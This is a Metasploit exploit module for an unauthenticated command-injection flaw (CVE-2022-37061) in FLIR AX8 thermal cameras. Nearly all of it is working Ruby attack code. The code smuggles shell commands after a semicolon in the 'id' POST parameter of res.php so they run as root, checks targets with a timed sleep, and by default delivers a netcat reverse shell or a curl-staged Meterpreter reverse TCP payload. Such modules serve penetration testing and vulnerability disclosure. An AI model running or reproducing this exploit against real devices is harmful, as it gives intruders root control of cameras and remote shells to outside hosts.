FLIR AX8 1.46.16 Remote Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'FLIR AX8 unauthenticated RCE',        'Description' => %q{          All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.          This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter          in the res.php endpoint.          This module uses the vulnerability to upload and execute payloads gaining root privileges.        },        'License' => MSF_LICENSE,        'Author' => [          'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher          'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher          'h00die-gr3y' # metasploit module        ],        'References' => [          ['CVE', '2022-37061'],          ['PACKETSTORM', '168114'],          ['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],        ],        'DisclosureDate' => '2022-08-19',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_ARMLE],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_ARMLE],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'curl', 'printf' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 80,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )  end  def execute_command(cmd, _opts = {})    action_id = rand(1..40)    return send_request_cgi({      'method' => 'POST',      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',      'uri' => normalize_uri(target_uri.path, 'res.php'),      'vars_post' => {        'action' => 'alarm',        'id' => "#{action_id};#{cmd}"      }    })  rescue StandardError => e    elog("#{peer} - Communication error occurred: #{e.message}", error: e)    print_error("Communication error occurred: #{e.message}")    return nil  end  # Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution  def check    print_status("Checking if #{peer} can be exploited!")    sleep_time = rand(5..10)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    return Exploit::CheckCode::Unknown('No response received from the target!') unless res    print_status("Elapsed time: #{elapsed_time} seconds.")    return CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time    CheckCode::Vulnerable('Successfully tested command injection.')  end  def exploit    case target['Type']    when :unix_cmd      print_status("Executing #{target.name} with #{payload.encoded}")      execute_command(payload.encoded)    when :linux_dropper      print_status("Executing #{target.name}")      execute_cmdstager    end  endend